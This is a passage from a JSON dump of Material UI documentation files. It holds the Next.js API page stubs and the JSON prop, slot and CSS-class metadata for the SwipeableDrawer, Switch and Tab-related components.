\"key\": \"colorPrimary\",\n      \"className\": \"MuiSvgIcon-colorPrimary\",\n      \"description\": \"Styles applied to the root element if `color=\\\"primary\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"colorSecondary\",\n      \"className\": \"MuiSvgIcon-colorSecondary\",\n      \"description\": \"Styles applied to the root element if `color=\\\"secondary\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"fontSizeInherit\",\n      \"className\": \"MuiSvgIcon-fontSizeInherit\",\n      \"description\": \"Styles applied to the root element if `fontSize=\\\"inherit\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"fontSizeLarge\",\n      \"className\": \"MuiSvgIcon-fontSizeLarge\",\n      \"description\": \"Styles applied to the root element if `fontSize=\\\"large\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"fontSizeMedium\",\n      \"className\": \"MuiSvgIcon-fontSizeMedium\",\n      \"description\": \"Styles applied to the root element if `fontSize=\\\"medium\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"fontSizeSmall\",\n      \"className\": \"MuiSvgIcon-fontSizeSmall\",\n      \"description\": \"Styles applied to the root element if `fontSize=\\\"small\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiSvgIcon-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiSvgIcon\",\n  \"forwardsRefTo\": \"SVGSVGElement\",\n  \"filename\": \"/packages/mui-material/src/SvgIcon/SvgIcon.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/icons/\\\">Icons</a></li>\\n<li><a href=\\\"/material-ui/material-icons/\\\">Material Icons</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/swipeable-drawer.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './swipeable-drawer.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/swipeable-drawer',\n    false,\n    /\\.\\/swipeable-drawer.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/swipeable-drawer.json",
    "content": "{\n  \"props\": {\n    \"onClose\": {\n      \"type\": { \"name\": \"func\" },\n      \"required\": true,\n      \"signature\": {\n        \"type\": \"function(event: React.SyntheticEvent<{}>) => void\",\n        \"describedArgs\": [\"event\"]\n      }\n    },\n    \"onOpen\": {\n      \"type\": { \"name\": \"func\" },\n      \"required\": true,\n      \"signature\": {\n        \"type\": \"function(event: React.SyntheticEvent<{}>) => void\",\n        \"describedArgs\": [\"event\"]\n      }\n    },\n    \"allowSwipeInChildren\": {\n      \"type\": { \"name\": \"union\", \"description\": \"func<br>&#124;&nbsp;bool\" },\n      \"default\": \"false\"\n    },\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"disableBackdropTransition\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"disableDiscovery\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"disableSwipeToOpen\": {\n      \"type\": { \"name\": \"bool\" },\n      \"default\": \"typeof navigator !== 'undefined' && /iPad|iPhone|iPod/.test(navigator.userAgent)\"\n    },\n    \"hysteresis\": { \"type\": { \"name\": \"number\" }, \"default\": \"0.52\" },\n    \"minFlingVelocity\": { \"type\": { \"name\": \"number\" }, \"default\": \"450\" },\n    \"open\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"slotProps\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ backdrop?: func<br>&#124;&nbsp;object, docked?: func<br>&#124;&nbsp;object, paper?: func<br>&#124;&nbsp;object, root?: func<br>&#124;&nbsp;object, swipeArea?: func<br>&#124;&nbsp;object, transition?: func<br>&#124;&nbsp;object }\"\n      },\n      \"default\": \"{}\"\n    },\n    \"slots\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ backdrop?: elementType, docked?: elementType, paper?: elementType, root?: elementType, swipeArea?: elementType, transition?: elementType }\"\n      },\n      \"default\": \"{}\"\n    },\n    \"swipeAreaWidth\": { \"type\": { \"name\": \"number\" }, \"default\": \"20\" },\n    \"transitionDuration\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"number<br>&#124;&nbsp;{ appear?: number, enter?: number, exit?: number }\"\n      },\n      \"default\": \"{\\n  enter: theme.transitions.duration.enteringScreen,\\n  exit: theme.transitions.duration.leavingScreen,\\n}\"\n    }\n  },\n  \"name\": \"SwipeableDrawer\",\n  \"imports\": [\n    \"import SwipeableDrawer from '@mui/material/SwipeableDrawer';\",\n    \"import { SwipeableDrawer } from '@mui/material';\"\n  ],\n  \"slots\": [\n    {\n      \"name\": \"swipeArea\",\n      \"description\": \"The component used for the swipeArea slot.\",\n      \"default\": \"div\",\n      \"class\": null\n    }\n  ],\n  \"classes\": [\n    {\n      \"key\": \"anchorBottom\",\n      \"className\": \"MuiDrawer-anchorBottom\",\n      \"description\": \"Styles applied to the root element if `anchor=\\\"bottom\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"anchorLeft\",\n      \"className\": \"MuiDrawer-anchorLeft\",\n      \"description\": \"Styles applied to the root element if `anchor=\\\"left\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"anchorRight\",\n      \"className\": \"MuiDrawer-anchorRight\",\n      \"description\": \"Styles applied to the root element if `anchor=\\\"right\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"anchorTop\",\n      \"className\": \"MuiDrawer-anchorTop\",\n      \"description\": \"Styles applied to the root element if `anchor=\\\"top\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"docked\",\n      \"className\": \"MuiDrawer-docked\",\n      \"description\": \"Styles applied to the root element if `variant=\\\"permanent or persistent\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"modal\",\n      \"className\": \"MuiDrawer-modal\",\n      \"description\": \"Styles applied to the Modal component.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"paper\",\n      \"className\": \"MuiDrawer-paper\",\n      \"description\": \"Styles applied to the Paper component.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiDrawer-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": false,\n  \"muiName\": \"MuiSwipeableDrawer\",\n  \"forwardsRefTo\": \"HTMLDivElement\",\n  \"filename\": \"/packages/mui-material/src/SwipeableDrawer/SwipeableDrawer.js\",\n  \"inheritance\": { \"component\": \"Drawer\", \"pathname\": \"/material-ui/api/drawer/\" },\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-drawer/\\\">Drawer</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/switch.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './switch.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context('docs/translations/api-docs/switch', false, /\\.\\/switch.*\\.json$/);\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/switch.json",
    "content": "{\n  \"props\": {\n    \"checked\": { \"type\": { \"name\": \"bool\" } },\n    \"checkedIcon\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"color\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'default'<br>&#124;&nbsp;'primary'<br>&#124;&nbsp;'secondary'<br>&#124;&nbsp;'error'<br>&#124;&nbsp;'info'<br>&#124;&nbsp;'success'<br>&#124;&nbsp;'warning'<br>&#124;&nbsp;string\"\n      },\n      \"default\": \"'primary'\"\n    },\n    \"defaultChecked\": { \"type\": { \"name\": \"bool\" } },\n    \"disabled\": { \"type\": { \"name\": \"bool\" } },\n    \"disableRipple\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"edge\": {\n      \"type\": {\n        \"name\": \"enum\",\n        \"description\": \"'end'<br>&#124;&nbsp;'start'<br>&#124;&nbsp;false\"\n      },\n      \"default\": \"false\"\n    },\n    \"icon\": { \"type\": { \"name\": \"node\" } },\n    \"id\": { \"type\": { \"name\": \"string\" } },\n    \"onChange\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(event: React.ChangeEvent<HTMLInputElement>) => void\",\n        \"describedArgs\": [\"event\"]\n      }\n    },\n    \"required\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"size\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'medium'<br>&#124;&nbsp;'small'<br>&#124;&nbsp;string\"\n      },\n      \"default\": \"'medium'\"\n    },\n    \"slotProps\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ input?: func<br>&#124;&nbsp;object, root?: func<br>&#124;&nbsp;object, switchBase?: func<br>&#124;&nbsp;object, thumb?: func<br>&#124;&nbsp;object, track?: func<br>&#124;&nbsp;object }\"\n      },\n      \"default\": \"{}\"\n    },\n    \"slots\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ input?: elementType, root?: elementType, switchBase?: elementType, thumb?: elementType, track?: elementType }\"\n      },\n      \"default\": \"{}\"\n    },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    },\n    \"value\": { \"type\": { \"name\": \"any\" } }\n  },\n  \"name\": \"Switch\",\n  \"imports\": [\n    \"import Switch from '@mui/material/Switch';\",\n    \"import { Switch } from '@mui/material';\"\n  ],\n  \"slots\": [\n    {\n      \"name\": \"root\",\n      \"description\": \"The component that renders the root slot.\",\n      \"default\": \"'span'\",\n      \"class\": \"MuiSwitch-root\"\n    },\n    {\n      \"name\": \"track\",\n      \"description\": \"The component that renders the track slot.\",\n      \"default\": \"'span'\",\n      \"class\": \"MuiSwitch-track\"\n    },\n    {\n      \"name\": \"thumb\",\n      \"description\": \"The component that renders the thumb slot.\",\n      \"default\": \"'span'\",\n      \"class\": \"MuiSwitch-thumb\"\n    },\n    {\n      \"name\": \"switchBase\",\n      \"description\": \"The component that renders the switchBase slot.\",\n      \"default\": \"SwitchBase\",\n      \"class\": \"MuiSwitch-switchBase\"\n    },\n    {\n      \"name\": \"input\",\n      \"description\": \"The component that renders the switchBase's input slot.\",\n      \"default\": \"SwitchBaseInput\",\n      \"class\": \"MuiSwitch-input\"\n    }\n  ],\n  \"classes\": [\n    {\n      \"key\": \"checked\",\n      \"className\": \"Mui-checked\",\n      \"description\": \"State class applied to the internal `SwitchBase` component's `checked` class.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"colorPrimary\",\n      \"className\": \"MuiSwitch-colorPrimary\",\n      \"description\": \"Styles applied to the internal SwitchBase component's root element if `color=\\\"primary\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"colorSecondary\",\n      \"className\": \"MuiSwitch-colorSecondary\",\n      \"description\": \"Styles applied to the internal SwitchBase component's root element if `color=\\\"secondary\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"disabled\",\n      \"className\": \"Mui-disabled\",\n      \"description\": \"State class applied to the internal SwitchBase component's disabled class.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"edgeEnd\",\n      \"className\": \"MuiSwitch-edgeEnd\",\n      \"description\": \"Styles applied to the root element if `edge=\\\"end\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"edgeStart\",\n      \"className\": \"MuiSwitch-edgeStart\",\n      \"description\": \"Styles applied to the root element if `edge=\\\"start\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"sizeMedium\",\n      \"className\": \"MuiSwitch-sizeMedium\",\n      \"description\": \"Styles applied to the root element if `size=\\\"medium\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"sizeSmall\",\n      \"className\": \"MuiSwitch-sizeSmall\",\n      \"description\": \"Styles applied to the root element if `size=\\\"small\\\"`.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": false,\n  \"muiName\": \"MuiSwitch\",\n  \"forwardsRefTo\": \"HTMLSpanElement\",\n  \"filename\": \"/packages/mui-material/src/Switch/Switch.js\",\n  \"inheritance\": { \"component\": \"IconButton\", \"pathname\": \"/material-ui/api/icon-button/\" },\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-switch/\\\">Switch</a></li>\\n<li><a href=\\\"/material-ui/react-transfer-list/\\\">Transfer List</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/tab-context.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './tab-context.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/tab-context',\n    false,\n    /\\.\\/tab-context.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/tab-context.json",
    "content": "{\n  \"props\": {\n    \"value\": {\n      \"type\": { \"name\": \"union\", \"description\": \"number<br>&#124;&nbsp;string\" },\n      \"required\": true\n    },\n    \"children\": { \"type\": { \"name\": \"node\" } }\n  },\n  \"name\": \"TabContext\",\n  \"imports\": [\n    \"import TabContext from '@mui/lab/TabContext';\",\n    \"import { TabContext } from '@mui/lab';\"\n  ],\n  \"classes\": [],\n  \"spread\": true,\n  \"themeDefaultProps\": null,\n  \"muiName\": \"MuiTabContext\",\n  \"filename\": \"/packages/mui-lab/src/TabContext/TabContext.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-tabs/\\\">Tabs</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/tab-list.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './tab-list.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/tab-list',\n    false,\n    /\\.\\/tab-list.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/tab-list.json",
    "content": "{\n  \"props\": { \"children\": { \"type\": { \"name\": \"node\" } } },\n  \"name\": \"TabList\",\n  \"imports\": [\"import TabList from '@mui/lab/TabList';\", \"import { TabList } from '@mui/lab';\"],\n  \"classes\": [\n    {\n      \"key\": \"centered\",\n      \"className\": \"MuiTabList-centered\",\n      \"description\": \"Styles applied to the flex container element if `centered={true}` & `!variant=\\\"scrollable\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"fixed\",\n      \"className\": \"MuiTabList-fixed\",\n      \"description\": \"Styles applied to the tablist element if `!variant=\\\"scrollable\\\"`\\b\\b\\b.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"hideScrollbar\",\n      \"className\": \"MuiTabList-hideScrollbar\",\n      \"description\": \"Styles applied to the tablist element if `variant=\\\"scrollable\\\"` and `visibleScrollbar={false}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"indicator\",\n      \"className\": \"MuiTabList-indicator\",\n      \"description\": \"Styles applied to the TabIndicator component.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"list\",\n      \"className\": \"MuiTabList-list\",\n      \"description\": \"Styles applied to the list element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiTabList-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"scrollableX\",\n      \"className\": \"MuiTabList-scrollableX\",\n      \"description\": \"Styles applied to the tablist element if `variant=\\\"scrollable\\\"` and `orientation=\\\"horizontal\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"scrollableY\",\n      \"className\": \"MuiTabList-scrollableY\",\n      \"description\": \"Styles applied to the tablist element if `variant=\\\"scrollable\\\"` and `orientation=\\\"vertical\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"scrollButtons\",\n      \"className\": \"MuiTabList-scrollButtons\",\n      \"description\": \"Styles applied to the ScrollButtonComponent component.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"scrollButtonsHideMobile\",\n      \"className\": \"MuiTabList-scrollButtonsHideMobile\",\n      \"description\": \"Styles applied to the ScrollButtonComponent component if `allowScrollButtonsMobile={true}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"scroller\",\n      \"className\": \"MuiTabList-scroller\",\n      \"description\": \"Styles applied to the tablist element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"vertical\",\n      \"className\": \"MuiTabList-vertical\",\n      \"description\": \"Styles applied to the root element if `orientation=\\\"vertical\\\"`.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": false,\n  \"muiName\": \"MuiTabList\",\n  \"forwardsRefTo\": \"HTMLDivElement\",\n  \"filename\": \"/packages/mui-lab/src/TabList/TabList.js\",\n  \"inheritance\": { \"component\": \"Tabs\", \"pathname\": \"/material-ui/api/tabs/\" },\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-tabs/\\\">Tabs</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/tab-panel.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './tab-panel.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/tab-panel',\n    false,\n    /\\.\\/tab-panel.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/tab-panel.json",
    "content": "{\n  \"props\": {\n    \"value\": {\n      \"type\": { \"name\": \"union\", \"description\": \"number<br>&#124;&nbsp;string\" },\n      \"required\": true\n    },\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"keepMounted\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    }\n  },\n  \"name\": \"TabPanel\",\n  \"imports\": [\"import TabPanel from '@mui/lab/TabPanel';\", \"import { TabPanel } from '@mui/lab';\"],\n  \"classes\": [\n    {\n      \"key\": \"hidden\",\n      \"className\": \"MuiTabPanel-hidden\",\n      \"description\": \"State class applied to the root `div` element if `hidden={true}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiTabPanel-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": false,\n  \"muiName\": \"MuiTabPanel\",\n  \"forwardsRefTo\": \"HTMLDivElement\",\n  \"filename\": \"/packages/mui-lab/src/TabPanel/TabPanel.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-tabs/\\\">Tabs</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/tab-scroll-button.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './tab-scroll-button.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/tab-scroll-button',\n    false,\n    /\\.\\/tab-scroll-button.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/tab-scroll-button.json",
    "content": "{\n  \"props\": {\n    \"direction\": {\n      \"type\": { \"name\": \"enum\", \"description\": \"'left'<br>&#124;&nbsp;'right'\" },\n      \"required\": true\n    },\n    \"orientation\": {\n      \"type\": { \"name\": \"enum\", \"description\": \"'horizontal'<br>&#124;&nbsp;'vertical'\" },\n      \"required\": true\n    },\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"disabled\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"slotProps\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ endScrollButtonIcon?: func<br>&#124;&nbsp;object, startScrollButtonIcon?: func<br>&#124;&nbsp;object }\"\n      },\n      \"default\": \"{}\"\n    },\n    \"slots\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ EndScrollButtonIcon?: elementType, StartScrollButtonIcon?: elementType }\"\n      },\n      \"default\": \"{}\"\n    },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    }\n  },\n  \"name\": \"TabScrollButton\",\n  \"imports\": [\n    \"import TabScrollButton from '@mui/material/TabScrollButton';\",\n    \"import { TabScrollButton } from '@mui/material';\"\n  ],\n  \"classes\": [\n    {\n      \"key\": \"disabled\",\n      \"className\": \"Mui-disabled\",\n      \"description\": \"State class applied to the root element if `disabled={true}`.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiTabScrollButton-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"vertical\",\n      \"className\": \"MuiTabScrollButton-vertical\",\n      \"description\": \"Styles applied to the root element if `orientation=\\\"vertical\\\"`.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiTabScrollButton\",\n  \"forwardsRefTo\": \"HTMLDivElement\",\n  \"filename\": \"/packages/mui-material/src/TabScrollButton/TabScrollButton.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-tabs/\\\">Tabs</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/tab.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './tab.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context('docs/translations/api-docs/tab', false, /\\.\\/tab.*\\.json$/);\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/tab.json",
    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"custom\", \"description\": \"unsupportedProp\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"disabled\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"disableFocusRipple\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"disableRipple\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"icon\": { \"type\": { \"name\": \"union\", \"description\": \"element<br>&#124;&nbsp;string\" } },\n    \"iconPosition\": {\n      \"type\": {\n        \"name\": \"enum\",\n        \"description\": \"'bottom'<br>&#124;&nbsp;'end'<br>&#124;&nbsp;'start'<br>&#124;&nbsp;'top'\"\n      },\n      \"default\": \"'top'\"\n    },\n    \"label\": { \"type\": { \"name\": \"node\" } },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    },\n    \"value\": { \"type\": { \"name\": \"any\" } },\n    \"wrapped\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" }\n  },\n  \"name\": \"Tab\",\n  \"imports\": [\"import Tab from '@mui/material/Tab';\", \"import { Tab } from '@mui/material';\"],\n  \"classes\": [\n    {\n      \"key\": \"disabled\",\n      \"className\": \"Mui-disabled\",\n      \"description\": \"State class applied to the root element if `disabled={true}` (controlled by the Tabs component).\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"fullWidth\",\n      \"className\": \"MuiTab-fullWidth\",\n      \"description\": \"Styles applied to the root element if `fullWidth={true}` (controlled by the Tabs component).\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"icon\",\n      \"className\": \"MuiTab-icon\",\n      \"description\": \"Styles applied to the `icon` HTML element if both `icon` and `label` are provided.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"labelIcon\",\n      \"className\": \"MuiTab-labelIcon\",\n      \"description\": \"Styles applied to the root element if both `icon` and `label` are provided.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiTab-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"selected\",\n      \"className\": \"Mui-selected\",\n      \"description\": \"State class applied to the root element if `selected={true}` (controlled by the Tabs component).\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"textColorInherit\",\n      \"className\": \"MuiTab-textColorInherit\",\n      \"description\": \"Styles applied to the root element if the parent [`Tabs`](/material-ui/api/tabs/) has `textColor=\\\"inherit\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"textColorPrimary\",\n      \"className\": \"MuiTab-textColorPrimary\",\n      \"description\": \"Styles applied to the root element if the parent [`Tabs`](/material-ui/api/tabs/) has `textColor=\\\"primary\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"textColorSecondary\",\n      \"className\": \"MuiTab-textColorSecondary\",\n      \"description\": \"Styles applied to the root element if the parent [`Tabs`](/material-ui/api/tabs/) has `textColor=\\\"secondary\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"wrapped\",\n      \"className\": \"MuiTab-wrapped\",\n      \"description\": \"Styles applied to the root element if `wrapped={true}`.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiTab\",\n  \"forwardsRefTo\": \"HTMLButtonElement\",\n  \"filename\": \"/packages/mui-material/src/Tab/Tab.js\",\n  \"inheritance\": { \"component\": \"ButtonBase\", \"pathname\": \"/material-ui/api/button-base/\" },\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-tabs/\\\">Tabs</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/table-body.js",
